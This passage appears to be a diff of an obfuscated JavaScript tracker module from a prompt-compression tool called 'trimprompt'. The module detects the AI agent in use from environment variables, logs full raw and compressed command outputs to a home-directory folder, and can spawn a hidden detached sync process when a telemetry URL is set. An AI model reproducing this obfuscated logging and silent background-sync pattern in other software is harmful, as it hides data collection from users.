_0x26023a=_0x255f8c[_0x451a4f(0x160)]===_0x451a4f(0x167)?_0x451a4f(0x17d):_0x451a4f(0x123),_0x2af1bd=_0x255f8c[_0x451a4f(0x160)]===_0x451a4f(0x167)?'claude-opus-4-8':_0x451a4f(0x18c);return{'tool':'','model':_0x2af1bd,'modelShort':''};}if(_0x255f8c['AIDER_MODEL']&&exports['PRICING'][_0x255f8c[_0x451a4f(0x13d)]])return{'tool':_0x451a4f(0x1a3),'model':_0x255f8c[_0x451a4f(0x13d)],'modelShort':''};if(_0x255f8c[_0x451a4f(0x132)]){const _0x3adc44=(_0x255f8c['PATH']||'')[_0x451a4f(0x185)]();if(_0x3adc44[_0x451a4f(0x155)](_0x451a4f(0x188)))return{'tool':_0x451a4f(0x188),'model':_0x451a4f(0x18c),'modelShort':'sonnet'};if(_0x3adc44['includes']('windsurf'))return{'tool':_0x451a4f(0x15e),'model':_0x451a4f(0x18c),'modelShort':'sonnet'};}const _0x25b189=process[_0x451a4f(0x177)][_0x451a4f(0x15a)]||'';if(_0x25b189&&exports[_0x451a4f(0x12c)][_0x25b189])return{'tool':'','model':_0x25b189,'modelShort':''};return _0x44738d;}function a0_0x1548(){const _0x2f2071=['Claude\x20Opus\x204.1\x20(deprecated)','logExecution','OpenAI\x20o1','GPT-5.4','name','default_model','replit','sync.js','9508782UKJnwu','logs','statsPath','TRIMPROMPT_TELEMETRY_URL','gemini-3-1-pro','stringify','model_used','938604TvFiAf','claude-3-5-sonnet','.trimprompt','join','saveConfig','tracker','saveLogs','estimated_compressed_tokens','includes','__esModule','Claude\x20Haiku\x204.5','claude-opus-4-8','__createBinding','TRIMPROMPT_MODEL','child_process','claude','mkdirSync','windsurf','GPT-4.1\x20Nano','CLAUDE_EFFORT','Claude\x20Opus\x204.5','configPath','triggerBackgroundSync','default','input_price_1m','ignore','high','GPT-4o','CONTINUE_GLOBAL_DIR','toString','5022423PvOVXI','Gemini\x203.5\x20Flash','split','configurable','1499252pSnSMI','gemini-3-5-flash','existsSync','gemini','estimated_raw_tokens','__setModuleDefault','Claude\x203.5\x20Sonnet','github-copilot','env','model','OpenAI\x20o3-mini','o3mini','homedir','GPT-5.4\x20Nano','opus','copilot','getStatsSummary','o3-mini','unref','auto','Gemini\x203.5\x20Live\x20Translate','claude-code','toLowerCase','claude_code','476ZWXjad','cursor','COPILOT_MODEL','telemetry_url','Gemini\x203.1\x20Flash-Lite','claude-sonnet-4-6','Claude\x20Haiku\x203.5','Tracker','flash','max','claude-sonnet-4-5','push','spawn','177488XHPDsy','GPT-4.1\x20Mini','create','trim','ceil','execPath','config','GPT-5.4\x20Mini','.raw.txt','call','Claude\x20Sonnet\x204.5','getOwnPropertyDescriptor','writeFileSync','pop','Cursor\x20Small','aider','defineProperty','readFileSync','tokens_saved','956242uXcaQb','CLAUDECODE','substring','tool','path','length','antigravity','getConfig','sonnet','utf8','CURSOR_AGENT','COPILOT_GITHUB_TOKEN','setConfig','modelShort','stats.json','config.json','5BqSGqZ','PRICING','random','CLAUDE_CODE','.comp.txt','toFixed','getLogs','VSCODE_PID','baseDir','codex','logsDir','parse','1.0','AI_AGENT','init','continue','ANTIGRAVITY_AGENT','11922777ZaKhSo','AIDER_MODEL'];a0_0x1548=function(){return _0x2f2071;};return a0_0x1548();}function a0_0x4522(_0x420b7e,_0x1b726d){const _0x154850=a0_0x1548();return a0_0x4522=function(_0x452285,_0x47a467){_0x452285=_0x452285-0x119;let _0x2ad8ba=_0x154850[_0x452285];return _0x2ad8ba;},a0_0x4522(_0x420b7e,_0x1b726d);}class Tracker{[a0_0x5978fd(0x133)];[a0_0x5978fd(0x162)];[a0_0x5978fd(0x148)];[a0_0x5978fd(0x135)];['config'];constructor(){const _0x1ca56d=a0_0x5978fd;this[_0x1ca56d(0x133)]=path[_0x1ca56d(0x150)](os[_0x1ca56d(0x17b)](),_0x1ca56d(0x14f)),this[_0x1ca56d(0x162)]=path[_0x1ca56d(0x150)](this[_0x1ca56d(0x133)],_0x1ca56d(0x12a)),this[_0x1ca56d(0x148)]=path['join'](this[_0x1ca56d(0x133)],_0x1ca56d(0x129)),this[_0x1ca56d(0x135)]=path[_0x1ca56d(0x150)](this[_0x1ca56d(0x133)],_0x1ca56d(0x147)),this[_0x1ca56d(0x139)]();}[a0_0x5978fd(0x139)](){const _0x4272c9=a0_0x5978fd;!fs[_0x4272c9(0x171)](this[_0x4272c9(0x133)])&&fs['mkdirSync'](this[_0x4272c9(0x133)],{'recursive':!![]});!fs[_0x4272c9(0x171)](this[_0x4272c9(0x135)])&&fs[_0x4272c9(0x15d)](this[_0x4272c9(0x135)],{'recursive':!![]});const _0x4695ff={'version':_0x4272c9(0x137),'telemetry_url':process[_0x4272c9(0x177)][_0x4272c9(0x149)]||'','max_output_tokens':0x1388,'redaction_enabled':!![],'default_model':'claude-opus-4-8'};if(fs['existsSync'](this[_0x4272c9(0x162)]))try{const _0x33d0b1=fs[_0x4272c9(0x119)](this['configPath'],_0x4272c9(0x124));this[_0x4272c9(0x19a)]={..._0x4695ff,...JSON['parse'](_0x33d0b1)};}catch(_0xa27890){this[_0x4272c9(0x19a)]=_0x4695ff;}else this['config']=_0x4695ff,this['saveConfig']();!fs[_0x4272c9(0x171)](this['statsPath'])&&fs[_0x4272c9(0x1a0)](this[_0x4272c9(0x148)],JSON[_0x4272c9(0x14b)]([]),_0x4272c9(0x124));}[a0_0x5978fd(0x122)](){const _0x1225f7=a0_0x5978fd;return process['env']['TRIMPROMPT_TELEMETRY_URL']&&(this[_0x1225f7(0x19a)]['telemetry_url']=process[_0x1225f7(0x177)]['TRIMPROMPT_TELEMETRY_URL']),this[_0x1225f7(0x19a)];}[a0_0x5978fd(0x127)](_0x5e035c,_0x5dc5dd){const _0x415142=a0_0x5978fd;this[_0x415142(0x19a)][_0x5e035c]=_0x5dc5dd,this[_0x415142(0x151)]();}[a0_0x5978fd(0x151)](){const _0x3f967c=a0_0x5978fd;fs[_0x3f967c(0x1a0)](this[_0x3f967c(0x162)],JSON[_0x3f967c(0x14b)](this[_0x3f967c(0x19a)],null,0x2),_0x3f967c(0x124));}[a0_0x5978fd(0x131)](){const _0x237802=a0_0x5978fd;try{if(!fs[_0x237802(0x171)](this[_0x237802(0x148)]))return[];const _0x368c4d=fs[_0x237802(0x119)](this[_0x237802(0x148)],_0x237802(0x124));return JSON[_0x237802(0x136)](_0x368c4d);}catch{return[];}}[a0_0x5978fd(0x153)](_0x5d8f4f){const _0x425154=a0_0x5978fd;fs[_0x425154(0x1a0)](this['statsPath'],JSON['stringify'](_0x5d8f4f,null,0x2),_0x425154(0x124));}[a0_0x5978fd(0x13f)](_0x30d9e1,_0x45710c,_0x2f8108,_0x28813c){const _0x5d134f=a0_0x5978fd,_0x501a5a=this[_0x5d134f(0x131)](),_0x1316e4=_0x45710c['length'],_0x5cf8cb=_0x2f8108[_0x5d134f(0x120)],_0x410407=Math[_0x5d134f(0x198)](_0x1316e4/0x4),_0x5e155f=Math[_0x5d134f(0x198)](_0x5cf8cb/0x4),_0x24bc9a=Math[_0x5d134f(0x190)](0x0,_0x410407-_0x5e155f),_0x1b77f4=detectSessionTool(),_0x46f0a9=_0x1b77f4[_0x5d134f(0x178)],_0x121093=Math[_0x5d134f(0x12d)]()[_0x5d134f(0x16a)](0x24)[_0x5d134f(0x11d)](0x2,0xb);try{fs[_0x5d134f(0x1a0)](path[_0x5d134f(0x150)](this[_0x5d134f(0x135)],_0x121093+_0x5d134f(0x19c)),_0x45710c,'utf8'),fs[_0x5d134f(0x1a0)](path[_0x5d134f(0x150)](this[_0x5d134f(0x135)],_0x121093+_0x5d134f(0x12f)),_0x2f8108,_0x5d134f(0x124));}catch{}const _0x5cc2fe=_0x30d9e1[_0x5d134f(0x16d)]('\x20')[0x0]||'unknown',_0x3c66d5=_0x1b77f4[_0x5d134f(0x11e)]?_0x1b77f4[_0x5d134f(0x128)]?_0x1b77f4[_0x5d134f(0x11e)]+'-'+_0x1b77f4[_0x5d134f(0x128)]+'-'+_0x5cc2fe:_0x1b77f4[_0x5d134f(0x11e)]+'-'+_0x5cc2fe:_0x5cc2fe,_0x602ef2={'id':_0x121093,'timestamp':new Date()['toISOString'](),'command':_0x3c66d5,'raw_chars':_0x1316e4,'compressed_chars':_0x5cf8cb,'estimated_raw_tokens':_0x410407,'estimated_compressed_tokens':_0x5e155f,'tokens_saved':_0x24bc9a,'model_used':_0x46f0a9,'exit_code':_0x28813c,'synced':![]};_0x501a5a[_0x5d134f(0x192)](_0x602ef2),this[_0x5d134f(0x153)](_0x501a5a);const _0x27f765=this[_0x5d134f(0x122)]()[_0x5d134f(0x18a)];return _0x27f765&&_0x27f765[_0x5d134f(0x197)]()[_0x5d134f(0x120)]>0x0&&this[_0x5d134f(0x163)](),_0x602ef2;}[a0_0x5978fd(0x163)](){const _0x3e211a=a0_0x5978fd;try{const _0x3c2a01=path[_0x3e211a(0x150)](__dirname,_0x3e211a(0x145));if(fs[_0x3e211a(0x171)](_0x3c2a01)){const _0x4daf15=(0x0,child_process_1[_0x3e211a(0x193)])(process[_0x3e211a(0x199)],[_0x3c2a01],{'detached':!![],'stdio':_0x3e211a(0x166)});_0x4daf15[_0x3e211a(0x181)]();}}catch{}}[a0_0x5978fd(0x17f)](_0x573af5='auto'){const _0x36a67c=a0_0x5978fd,_0x18d00f=this[_0x36a67c(0x131)]();let _0x2984df=0x0,_0x400424=0x0,_0x207dad=0x0;for(const _0x38c0cb of _0x18d00f){_0x2984df+=_0x38c0cb[_0x36a67c(0x173)],_0x400424+=_0x38c0cb[_0x36a67c(0x154)],_0x207dad+=_0x38c0cb[_0x36a67c(0x11a)];}let _0x20675f=_0x573af5;(!_0x20675f||_0x20675f===_0x36a67c(0x182)||!exports[_0x36a67c(0x12c)][_0x20675f])&&(_0x18d00f[_0x36a67c(0x120)]>0x0&&_0x18d00f[_0x18d00f[_0x36a67c(0x120)]-0x1][_0x36a67c(0x14c)]?_0x20675f=_0x18d00f[_0x18d00f['length']-0x1][_0x36a67c(0x14c)]:_0x20675f=this['getConfig']()[_0x36a67c(0x143)]||_0x36a67c(0x14e));const _0x47adc3=exports[_0x36a67c(0x12c)][_0x20675f]||exports['PRICING']['claude-3-5-sonnet'],_0x22af71=_0x207dad*_0x47adc3[_0x36a67c(0x165)]/0xf4240,_0x1620cf=_0x2984df*_0x47adc3[_0x36a67c(0x165)]/0xf4240,_0x38c999=_0x400424*_0x47adc3[_0x36a67c(0x165)]/0xf4240,_0x591488=_0x2984df>0x0?_0x207dad/_0x2984df*0x64:0x0;return{'total_raw_tokens':_0x2984df,'total_compressed_tokens':_0x400424,'total_tokens_saved':_0x207dad,'savings_percentage':parseFloat(_0x591488[_0x36a67c(0x130)](0x1)),'money_saved_usd':parseFloat(_0x22af71[_0x36a67c(0x130)](0x4)),'raw_cost_usd':parseFloat(_0x1620cf[_0x36a67c(0x130)](0x4)),'compressed_cost_usd':parseFloat(_0x38c999[_0x36a67c(0x130)](0x4)),'model_name':_0x47adc3[_0x36a67c(0x142)],'model_key':_0x20675f};}}exports[a0_0x5978fd(0x18e)]=Tracker,exports[a0_0x5978fd(0x152)]=new Tracker();
|
|
1
|
+
'use strict';function a0_0x492f(){const _0x4880fe=['PRICING','configPath','parse','OpenAI\x20o1','OpenAI\x20o1-mini','saveConfig','15PYwsIh','copilot','triggerBackgroundSync','includes','default','cursor','defineProperty','claude-opus-4-8','tokens_saved','model_used','o3mini','COPILOT_MODEL','39969BJuOUi','init','Cursor\x20Small','.raw.txt','readFileSync','GPT-5.4','split','cline','existsSync','estimated_raw_tokens','Claude\x20Haiku\x203.5','mkdirSync','setConfig','2IRpmMY','1.0','modelShort','utf8','claude_code','getConfig','AIDER_MODEL','Gemini\x203.5\x20Live\x20Translate','replit','CLAUDECODE','join','claude','claude-code','AI_AGENT','baseDir','toFixed','Claude\x20Opus\x204.7','create','TRIMPROMPT_MODEL','CURSOR_AGENT','config','GPT-4.1\x20Nano','8092766IvHKtg','Claude\x20Fable\x205','Tracker','tracker','prototype','sync.js','continue','toISOString','high','logExecution','getLogs','config.json','github-copilot','Gemini\x203.5\x20Flash','claude-3-5-sonnet','claude-sonnet-4-6','7iyBrcd','Gemini\x203.1\x20Pro','Claude\x20Sonnet\x204.5','codex','450734bCePFQ','saveLogs','unknown','Claude\x20Opus\x204.8','COPILOT_GITHUB_TOKEN','writable','Claude\x20Haiku\x204.5','ceil','name','antigravity','.comp.txt','auto','o3-mini','gemini','sonnet','Claude\x20Mythos\x205','estimated_compressed_tokens','hasOwnProperty','length','configurable','input_price_1m','logsDir','opus','logs','Gemini\x203.1\x20Flash-Lite','substring','tool','getOwnPropertyDescriptor','toLowerCase','ANTIGRAVITY_AGENT','pop','gemini-3-5-flash','child_process','stats.json','__esModule','flash','REPL_ID','max','default_model','spawn','GPT-4o\x20Mini','VSCODE_PID','1690011fHXOzy','Claude\x203.5\x20Sonnet','push','telemetry_url','1336304ZRpRGR','.trimprompt','stringify','Claude\x20Opus\x204.1\x20(deprecated)','aider','toString','CLAUDE_EFFORT','3280188iIzZNv','__setModuleDefault','GPT-5.4\x20Mini','path','gemini-3-1-pro','call','527154WydCYw','writeFileSync','GEMINI_CLI','unref','statsPath','130WAUSAz'];a0_0x492f=function(){return _0x4880fe;};return a0_0x492f();}const a0_0x51a00c=a0_0x2dda;(function(_0x5e94d2,_0x5c181a){const _0x5958bb=a0_0x2dda,_0x3d84b3=_0x5e94d2();while(!![]){try{const _0x301b5b=-parseInt(_0x5958bb(0x88))/0x1*(parseInt(_0x5958bb(0xe8))/0x2)+-parseInt(_0x5958bb(0xb2))/0x3+parseInt(_0x5958bb(0xbd))/0x4+parseInt(_0x5958bb(0xcf))/0x5*(-parseInt(_0x5958bb(0xc3))/0x6)+parseInt(_0x5958bb(0x84))/0x7*(parseInt(_0x5958bb(0xb6))/0x8)+parseInt(_0x5958bb(0xdb))/0x9*(parseInt(_0x5958bb(0xc8))/0xa)+parseInt(_0x5958bb(0x74))/0xb;if(_0x301b5b===_0x5c181a)break;else _0x3d84b3['push'](_0x3d84b3['shift']());}catch(_0x30ef30){_0x3d84b3['push'](_0x3d84b3['shift']());}}}(a0_0x492f,0x7ac5c));var __createBinding=this&&this['__createBinding']||(Object[a0_0x51a00c(0x6f)]?function(_0x5891b7,_0x5d7d01,_0x12e000,_0x4c1ba2){const _0x9a863a=a0_0x51a00c;if(_0x4c1ba2===undefined)_0x4c1ba2=_0x12e000;var _0x56bb02=Object[_0x9a863a(0xa3)](_0x5d7d01,_0x12e000);(!_0x56bb02||('get'in _0x56bb02?!_0x5d7d01[_0x9a863a(0xaa)]:_0x56bb02[_0x9a863a(0x8d)]||_0x56bb02[_0x9a863a(0x9b)]))&&(_0x56bb02={'enumerable':!![],'get':function(){return _0x5d7d01[_0x12e000];}}),Object['defineProperty'](_0x5891b7,_0x4c1ba2,_0x56bb02);}:function(_0xb72f38,_0x2047cc,_0x5ab4c4,_0x5ef6b8){if(_0x5ef6b8===undefined)_0x5ef6b8=_0x5ab4c4;_0xb72f38[_0x5ef6b8]=_0x2047cc[_0x5ab4c4];}),__setModuleDefault=this&&this[a0_0x51a00c(0xbe)]||(Object[a0_0x51a00c(0x6f)]?function(_0x499a42,_0x34ddaa){const _0xc315ea=a0_0x51a00c;Object['defineProperty'](_0x499a42,_0xc315ea(0xd3),{'enumerable':!![],'value':_0x34ddaa});}:function(_0x11c1ae,_0x55382a){const _0x35c805=a0_0x51a00c;_0x11c1ae[_0x35c805(0xd3)]=_0x55382a;}),__importStar=this&&this['__importStar']||(function(){var _0x540fdd=function(_0x15b168){return _0x540fdd=Object['getOwnPropertyNames']||function(_0x43fa5f){const _0x4a49a4=a0_0x2dda;var _0x54b893=[];for(var _0x4827f5 in _0x43fa5f)if(Object[_0x4a49a4(0x78)][_0x4a49a4(0x99)][_0x4a49a4(0xc2)](_0x43fa5f,_0x4827f5))_0x54b893[_0x54b893[_0x4a49a4(0x9a)]]=_0x4827f5;return _0x54b893;},_0x540fdd(_0x15b168);};return function(_0x14d33b){const _0x113b25=a0_0x2dda;if(_0x14d33b&&_0x14d33b['__esModule'])return _0x14d33b;var _0x59bea5={};if(_0x14d33b!=null){for(var _0x36dff7=_0x540fdd(_0x14d33b),_0x442a1f=0x0;_0x442a1f<_0x36dff7[_0x113b25(0x9a)];_0x442a1f++)if(_0x36dff7[_0x442a1f]!=='default')__createBinding(_0x59bea5,_0x14d33b,_0x36dff7[_0x442a1f]);}return __setModuleDefault(_0x59bea5,_0x14d33b),_0x59bea5;};}());Object[a0_0x51a00c(0xd5)](exports,'__esModule',{'value':!![]}),exports['tracker']=exports[a0_0x51a00c(0x76)]=exports['PRICING']=void 0x0;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x51a00c(0xc0))),os=__importStar(require('os')),child_process_1=require(a0_0x51a00c(0xa8));exports[a0_0x51a00c(0xc9)]={'claude-fable-5':{'name':a0_0x51a00c(0x75),'input_price_1m':0xa},'claude-mythos-5':{'name':a0_0x51a00c(0x97),'input_price_1m':0xa},'claude-opus-4-8':{'name':a0_0x51a00c(0x8b),'input_price_1m':0x5},'claude-opus-4-7':{'name':a0_0x51a00c(0x6e),'input_price_1m':0x5},'claude-opus-4-5':{'name':'Claude\x20Opus\x204.5','input_price_1m':0x5},'claude-opus-4-1':{'name':a0_0x51a00c(0xb9),'input_price_1m':0xf},'claude-sonnet-4-6':{'name':'Claude\x20Sonnet\x204.6','input_price_1m':0x3},'claude-sonnet-4-5':{'name':a0_0x51a00c(0x86),'input_price_1m':0x3},'claude-3-5-sonnet':{'name':a0_0x51a00c(0xb3),'input_price_1m':0x3},'claude-haiku-4-5':{'name':a0_0x51a00c(0x8e),'input_price_1m':0x1},'claude-haiku-3-5':{'name':a0_0x51a00c(0xe5),'input_price_1m':0.8},'gpt-5-5':{'name':'GPT-5.5','input_price_1m':0x5},'gpt-5-4':{'name':a0_0x51a00c(0xe0),'input_price_1m':2.5},'gpt-4o':{'name':'GPT-4o','input_price_1m':2.5},'gpt-5-4-mini':{'name':a0_0x51a00c(0xbf),'input_price_1m':0.75},'gpt-5-4-nano':{'name':'GPT-5.4\x20Nano','input_price_1m':0.2},'gpt-4-1-mini':{'name':'GPT-4.1\x20Mini','input_price_1m':0.4},'gpt-4-1-nano':{'name':a0_0x51a00c(0x73),'input_price_1m':0.1},'gpt-4o-mini':{'name':a0_0x51a00c(0xb0),'input_price_1m':0.15},'o1':{'name':a0_0x51a00c(0xcc),'input_price_1m':0xf},'o1-mini':{'name':a0_0x51a00c(0xcd),'input_price_1m':0x3},'o3-mini':{'name':'OpenAI\x20o3-mini','input_price_1m':1.1},'cursor-small':{'name':a0_0x51a00c(0xdd),'input_price_1m':0.1},'gemini-3-1-pro':{'name':a0_0x51a00c(0x85),'input_price_1m':0x2},'gemini-3-5-flash':{'name':a0_0x51a00c(0x81),'input_price_1m':1.5},'gemini-3-1-flash-lite':{'name':a0_0x51a00c(0xa0),'input_price_1m':0.45},'gemini-3-5-live-translate':{'name':a0_0x51a00c(0xef),'input_price_1m':3.5}};function detectSessionTool(){const _0x4785bd=a0_0x51a00c,_0x2d5185=process.env,_0x5a2a87={'tool':'','model':_0x4785bd(0x83),'modelShort':''};if(_0x2d5185['TRIMPROMPT_MODEL']&&exports[_0x4785bd(0xc9)][_0x2d5185[_0x4785bd(0x70)]])return{'tool':'','model':_0x2d5185[_0x4785bd(0x70)],'modelShort':''};const _0x181ae9=(_0x2d5185[_0x4785bd(0xf5)]||'')['toLowerCase']();if(_0x181ae9){if(_0x181ae9[_0x4785bd(0xd2)](_0x4785bd(0xf4))||_0x181ae9['includes'](_0x4785bd(0xec))){const _0x8f4581=_0x2d5185[_0x4785bd(0xbc)]===_0x4785bd(0x7c)?'opus':_0x4785bd(0x96),_0x4e5725=_0x2d5185[_0x4785bd(0xbc)]===_0x4785bd(0x7c)?_0x4785bd(0xd6):_0x4785bd(0x83);return{'tool':_0x4785bd(0xf3),'model':_0x4e5725,'modelShort':_0x8f4581};}if(_0x181ae9[_0x4785bd(0xd2)](_0x4785bd(0xd4)))return{'tool':'cursor','model':_0x4785bd(0x83),'modelShort':'sonnet'};if(_0x181ae9[_0x4785bd(0xd2)](_0x4785bd(0x80))||_0x181ae9[_0x4785bd(0xd2)]('copilot')){const _0x13987b=_0x2d5185['COPILOT_MODEL']||'';if(_0x13987b&&exports[_0x4785bd(0xc9)][_0x13987b])return{'tool':'copilot','model':_0x13987b,'modelShort':_0x13987b[_0x4785bd(0xe1)]('-')['pop']()||''};return{'tool':_0x4785bd(0xd0),'model':'claude-sonnet-4-5','modelShort':_0x4785bd(0x96)};}if(_0x181ae9[_0x4785bd(0xd2)](_0x4785bd(0x95)))return{'tool':_0x4785bd(0x95),'model':_0x4785bd(0xa7),'modelShort':_0x4785bd(0xab)};if(_0x181ae9['includes']('codex'))return{'tool':_0x4785bd(0x87),'model':_0x4785bd(0x94),'modelShort':_0x4785bd(0xd9)};if(_0x181ae9[_0x4785bd(0xd2)]('devin'))return{'tool':'devin','model':'claude-sonnet-4-6','modelShort':''};if(_0x181ae9[_0x4785bd(0xd2)](_0x4785bd(0x91)))return{'tool':_0x4785bd(0x91),'model':_0x4785bd(0xc1),'modelShort':'gemini'};if(_0x181ae9['includes'](_0x4785bd(0xf0))||_0x2d5185[_0x4785bd(0xac)])return{'tool':'replit','model':_0x4785bd(0x83),'modelShort':''};return{'tool':_0x181ae9[_0x4785bd(0xe1)]('_')[0x0][_0x4785bd(0xe1)]('-')[0x0],'model':'claude-sonnet-4-6','modelShort':''};}if(_0x2d5185[_0x4785bd(0xf1)]==='1'||_0x2d5185['CLAUDE_CODE']==='1'){const _0x2449dc=_0x2d5185[_0x4785bd(0xbc)]===_0x4785bd(0x7c)?_0x4785bd(0x9e):'sonnet',_0x3e3354=_0x2d5185[_0x4785bd(0xbc)]===_0x4785bd(0x7c)?_0x4785bd(0xd6):'claude-sonnet-4-6';return{'tool':'claude','model':_0x3e3354,'modelShort':_0x2449dc};}if(_0x2d5185[_0x4785bd(0x71)]==='1')return{'tool':_0x4785bd(0xd4),'model':_0x4785bd(0x83),'modelShort':'sonnet'};if(_0x2d5185[_0x4785bd(0xc5)]==='1')return{'tool':_0x4785bd(0x95),'model':'gemini-3-5-flash','modelShort':'flash'};if(_0x2d5185['COPILOT_MODEL']||_0x2d5185[_0x4785bd(0x8c)]){const _0x95b781=_0x2d5185[_0x4785bd(0xda)]||'';if(_0x95b781&&exports[_0x4785bd(0xc9)][_0x95b781])return{'tool':_0x4785bd(0xd0),'model':_0x95b781,'modelShort':_0x95b781[_0x4785bd(0xe1)]('-')[_0x4785bd(0xa6)]()||''};return{'tool':_0x4785bd(0xd0),'model':'claude-sonnet-4-5','modelShort':_0x4785bd(0x96)};}if(_0x2d5185['REPL_ID']||_0x2d5185['REPLIT_ENVIRONMENT'])return{'tool':_0x4785bd(0xf0),'model':_0x4785bd(0x83),'modelShort':''};if(_0x2d5185['CLINE_DATA_DIR'])return{'tool':_0x4785bd(0xe2),'model':_0x4785bd(0x83),'modelShort':''};if(_0x2d5185['CONTINUE_GLOBAL_DIR'])return{'tool':_0x4785bd(0x7a),'model':_0x4785bd(0x83),'modelShort':''};if(_0x2d5185[_0x4785bd(0xa5)]==='1')return{'tool':_0x4785bd(0x91),'model':_0x4785bd(0xc1),'modelShort':_0x4785bd(0x95)};if(_0x2d5185[_0x4785bd(0xbc)]){const _0xef9270=_0x2d5185[_0x4785bd(0xbc)]===_0x4785bd(0x7c)?_0x4785bd(0x9e):_0x4785bd(0x96),_0x45fe29=_0x2d5185[_0x4785bd(0xbc)]==='high'?_0x4785bd(0xd6):'claude-sonnet-4-6';return{'tool':'','model':_0x45fe29,'modelShort':''};}if(_0x2d5185[_0x4785bd(0xee)]&&exports['PRICING'][_0x2d5185[_0x4785bd(0xee)]])return{'tool':_0x4785bd(0xba),'model':_0x2d5185[_0x4785bd(0xee)],'modelShort':''};if(_0x2d5185[_0x4785bd(0xb1)]){const _0x5d8acb=(_0x2d5185['PATH']||'')[_0x4785bd(0xa4)]();if(_0x5d8acb[_0x4785bd(0xd2)]('cursor'))return{'tool':'cursor','model':_0x4785bd(0x83),'modelShort':_0x4785bd(0x96)};if(_0x5d8acb[_0x4785bd(0xd2)]('windsurf'))return{'tool':'windsurf','model':_0x4785bd(0x83),'modelShort':_0x4785bd(0x96)};}const _0x2e93d8=process.env.TRIMPROMPT_MODEL||'';if(_0x2e93d8&&exports['PRICING'][_0x2e93d8])return{'tool':'','model':_0x2e93d8,'modelShort':''};return _0x5a2a87;}function a0_0x2dda(_0x1f118b,_0x2a64c3){_0x1f118b=_0x1f118b-0x6d;const _0x492f03=a0_0x492f();let _0x2dda6f=_0x492f03[_0x1f118b];return _0x2dda6f;}class Tracker{[a0_0x51a00c(0xf6)];[a0_0x51a00c(0xca)];[a0_0x51a00c(0xc7)];[a0_0x51a00c(0x9d)];['config'];constructor(){const _0x4ce766=a0_0x51a00c;this[_0x4ce766(0xf6)]=path[_0x4ce766(0xf2)](os['homedir'](),_0x4ce766(0xb7)),this[_0x4ce766(0xca)]=path[_0x4ce766(0xf2)](this['baseDir'],_0x4ce766(0x7f)),this['statsPath']=path['join'](this[_0x4ce766(0xf6)],_0x4ce766(0xa9)),this[_0x4ce766(0x9d)]=path[_0x4ce766(0xf2)](this['baseDir'],_0x4ce766(0x9f)),this[_0x4ce766(0xdc)]();}[a0_0x51a00c(0xdc)](){const _0x19a9f1=a0_0x51a00c;!fs[_0x19a9f1(0xe3)](this[_0x19a9f1(0xf6)])&&fs[_0x19a9f1(0xe6)](this['baseDir'],{'recursive':!![]});!fs[_0x19a9f1(0xe3)](this[_0x19a9f1(0x9d)])&&fs[_0x19a9f1(0xe6)](this[_0x19a9f1(0x9d)],{'recursive':!![]});const _0x5981f9={'version':_0x19a9f1(0xe9),'telemetry_url':process.env.TRIMPROMPT_TELEMETRY_URL||'','max_output_tokens':0x1388,'redaction_enabled':!![],'default_model':'claude-opus-4-8'};if(fs['existsSync'](this['configPath']))try{const _0x83b8d=fs['readFileSync'](this[_0x19a9f1(0xca)],_0x19a9f1(0xeb));this[_0x19a9f1(0x72)]={..._0x5981f9,...JSON[_0x19a9f1(0xcb)](_0x83b8d)};}catch(_0x233860){this[_0x19a9f1(0x72)]=_0x5981f9;}else this[_0x19a9f1(0x72)]=_0x5981f9,this[_0x19a9f1(0xce)]();!fs[_0x19a9f1(0xe3)](this['statsPath'])&&fs[_0x19a9f1(0xc4)](this['statsPath'],JSON[_0x19a9f1(0xb8)]([]),'utf8');}[a0_0x51a00c(0xed)](){const _0x2495d4=a0_0x51a00c;return process.env.TRIMPROMPT_TELEMETRY_URL&&(this[_0x2495d4(0x72)][_0x2495d4(0xb5)]=process.env.TRIMPROMPT_TELEMETRY_URL),this[_0x2495d4(0x72)];}[a0_0x51a00c(0xe7)](_0x3f7e4f,_0x54ee60){const _0x5897c8=a0_0x51a00c;this[_0x5897c8(0x72)][_0x3f7e4f]=_0x54ee60,this[_0x5897c8(0xce)]();}[a0_0x51a00c(0xce)](){const _0x6b1dd3=a0_0x51a00c;fs['writeFileSync'](this[_0x6b1dd3(0xca)],JSON['stringify'](this[_0x6b1dd3(0x72)],null,0x2),_0x6b1dd3(0xeb));}[a0_0x51a00c(0x7e)](){const _0x5432bf=a0_0x51a00c;try{if(!fs[_0x5432bf(0xe3)](this[_0x5432bf(0xc7)]))return[];const _0x24bdea=fs[_0x5432bf(0xdf)](this[_0x5432bf(0xc7)],_0x5432bf(0xeb));return JSON['parse'](_0x24bdea);}catch{return[];}}[a0_0x51a00c(0x89)](_0x34e434){const _0x1f7457=a0_0x51a00c;fs['writeFileSync'](this[_0x1f7457(0xc7)],JSON[_0x1f7457(0xb8)](_0x34e434,null,0x2),_0x1f7457(0xeb));}[a0_0x51a00c(0x7d)](_0x53936a,_0x42a2cd,_0x3b936b,_0x28f2f9){const _0x2cfe9a=a0_0x51a00c,_0x31011e=this[_0x2cfe9a(0x7e)](),_0x58eec2=_0x42a2cd[_0x2cfe9a(0x9a)],_0x738f0a=_0x3b936b[_0x2cfe9a(0x9a)],_0x51b7d7=Math[_0x2cfe9a(0x8f)](_0x58eec2/0x4),_0x2e0063=Math['ceil'](_0x738f0a/0x4),_0xa47a85=Math[_0x2cfe9a(0xad)](0x0,_0x51b7d7-_0x2e0063),_0x239335=detectSessionTool(),_0x3845e3=_0x239335['model'],_0x466e39=Math['random']()[_0x2cfe9a(0xbb)](0x24)[_0x2cfe9a(0xa1)](0x2,0xb);try{fs[_0x2cfe9a(0xc4)](path[_0x2cfe9a(0xf2)](this[_0x2cfe9a(0x9d)],_0x466e39+_0x2cfe9a(0xde)),_0x42a2cd,_0x2cfe9a(0xeb)),fs['writeFileSync'](path[_0x2cfe9a(0xf2)](this[_0x2cfe9a(0x9d)],_0x466e39+_0x2cfe9a(0x92)),_0x3b936b,'utf8');}catch{}const _0x576e00=_0x53936a['split']('\x20')[0x0]||_0x2cfe9a(0x8a),_0x2aa0ad=_0x239335[_0x2cfe9a(0xa2)]?_0x239335[_0x2cfe9a(0xea)]?_0x239335[_0x2cfe9a(0xa2)]+'-'+_0x239335[_0x2cfe9a(0xea)]+'-'+_0x576e00:_0x239335[_0x2cfe9a(0xa2)]+'-'+_0x576e00:_0x576e00,_0x5531e3={'id':_0x466e39,'timestamp':new 